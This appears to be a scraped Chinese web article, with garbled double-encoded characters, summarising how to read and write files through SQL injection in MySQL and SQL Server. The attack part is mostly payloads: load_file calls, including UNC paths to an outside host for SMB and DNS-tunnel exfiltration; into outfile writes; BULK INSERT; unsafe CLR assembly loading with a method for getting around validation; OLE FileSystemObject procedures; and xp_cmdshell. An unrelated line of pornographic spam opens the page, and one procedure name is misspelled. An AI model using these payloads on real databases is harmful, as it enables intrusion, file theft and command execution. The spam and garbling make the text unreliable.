欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

關(guān)于SQL注入中文件讀寫的方法總結(jié)

 更新時間:2017年03月21日 08:46:49   作者:該隱  
這篇文章主要給大家介紹了關(guān)于SQL注入中文件的讀寫方法,文中通過示例代碼介紹的非常詳細(xì),相信對大家具有一定的參考價值,需要的朋友們下面來一起看看吧。

前言

SQL注入有直接sql注入也有文件讀寫時的注入了我們這篇文章介紹的是SQL注入中的文件讀寫這一塊的內(nèi)容,具體的一起來看看。

一、MySQL

讀文件

常見的讀文件,可以用16進(jìn)制代替字符串

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb協(xié)議
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

寫文件

我暫時已知l兩種寫文件的方式

select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'

二、 SQL Server

讀文件

1. BULK INSERT

create table result(res varchar(8000));
bulk insert result from 'd:/1.txt';

2. CLR集成

// 開啟CLR集成
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'clr enabled',1
reconfigure
create assembly sqb from 'd:\1.exe' with permission_set=unsafe

上面一句可以利用create assembly函數(shù)從遠(yuǎn)程服務(wù)器加載任何.NET二進(jìn)制文件到數(shù)據(jù)庫中;但是他會驗證是否為合法.NET程序,導(dǎo)致失敗,下面是讀取方式

select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files

繞過,首先加載一個有效的.NET的二進(jìn)制文件,然后追加文件即可,下面是繞過方法。

create assembly sqb from 'd:\net.exe';
alter assembly sqb add file from 'd:\1.txt'
alter assembly sqb add file from 'd:\notnet.exe'

3. Script.FileSystemObject

# 開啟Ole Automation Procedures
 
sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1
exec @ret = sp_onmethod @f, 'readline', @line out
while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end

寫文件

1. Script.FileSystemObject

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'

2. BCP復(fù)制文件(測試失敗,無bcp.exe)

c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"

3. xp_cmdshell

exec xp_cmdshell 'echo test>d:\1.txt'

三、Oracle

pass,Oracle太坑了~~~幾乎都受到PL/SQL的限制,暫時不討論

總結(jié)

以上就是關(guān)于SQL注入中文件的讀寫方法總結(jié),希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流。

相關(guān)文章

  • 數(shù)據(jù)庫連接池Druid與Hikari對比詳解

    數(shù)據(jù)庫連接池Druid與Hikari對比詳解

    這篇文章主要為大家介紹了數(shù)據(jù)庫連接池Druid與Hikari對比詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-02-02
  • TinkerPop框架查詢Gremlin圖實現(xiàn)過程詳解

    TinkerPop框架查詢Gremlin圖實現(xiàn)過程詳解

    這篇文章主要為大家介紹了TinkerPop框架查詢Gremlin圖實現(xiàn)過程詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-11-11
  • SQLite與MySQL區(qū)別及優(yōu)缺點(diǎn)介紹

    SQLite與MySQL區(qū)別及優(yōu)缺點(diǎn)介紹

    這篇文章介紹了SQLite與MySQL的區(qū)別及優(yōu)缺點(diǎn),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-01-01
  • MSSQL轉(zhuǎn)MYSQL的一些記錄

    MSSQL轉(zhuǎn)MYSQL的一些記錄

    今天把一個MSSQL的數(shù)據(jù)庫轉(zhuǎn)成MYSQL,在沒有轉(zhuǎn)換工具的情況下,對于字段不多的數(shù)據(jù)表我用了如下手功轉(zhuǎn)換的方法,還算方便。MSSQL使用企業(yè)管理器操作,MYSQL用phpmyadmin操作。
    2010-02-02
  • 你也許連刪庫跑路都不會(delete、drop和truncate刪除數(shù)據(jù))

    你也許連刪庫跑路都不會(delete、drop和truncate刪除數(shù)據(jù))

    這篇文章主要給大家介紹了關(guān)于delete、drop和truncate刪除數(shù)據(jù)的方式,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • 一個提升PostgreSQL性能的小技巧

    一個提升PostgreSQL性能的小技巧

    這篇文章主要介紹了一個提升Postgres性能的小技巧,通過修改很少的代碼來優(yōu)化查詢,需要的朋友可以參考下
    2015-04-04
  • Navicat15激活使用教程

    Navicat15激活使用教程

    navicat15激活工具是一款針對同名軟件所推出的激活碼注冊生成器,接下來通過本文給大家介紹Navicat15激活使用教程,需要的朋友可以參考下
    2021-10-10
  • MySQL mysqldump命令使用詳解

    MySQL mysqldump命令使用詳解

    MySQL有很多可以導(dǎo)入數(shù)據(jù)的方法,然而這些只是數(shù)據(jù)傳輸中的一半,另外的一般是從MySQL數(shù)據(jù)庫中導(dǎo)出數(shù)據(jù)。有許多的原因我們需要導(dǎo)出數(shù)據(jù)。一個重要的原因是用于備份數(shù)據(jù)庫。數(shù)據(jù)的造價常常是昂貴的,需要謹(jǐn)慎處理它們。
    2006-12-12
  • 淺談數(shù)據(jù)庫緩存最終一致性的四種方案

    淺談數(shù)據(jù)庫緩存最終一致性的四種方案

    緩存是軟件開發(fā)中一個非常有用的概念,數(shù)據(jù)庫緩存更是在項目中必然會遇到的場景,緩存一致性的保證,更是在面試中被反復(fù)問到。下面我們就一起來了解一下
    2021-04-04
  • 識別 MS SQL 各個版本的版本號的方法

    識別 MS SQL 各個版本的版本號的方法

    識別 MS SQL 各個版本的版本號的方法...
    2007-10-10

最新評論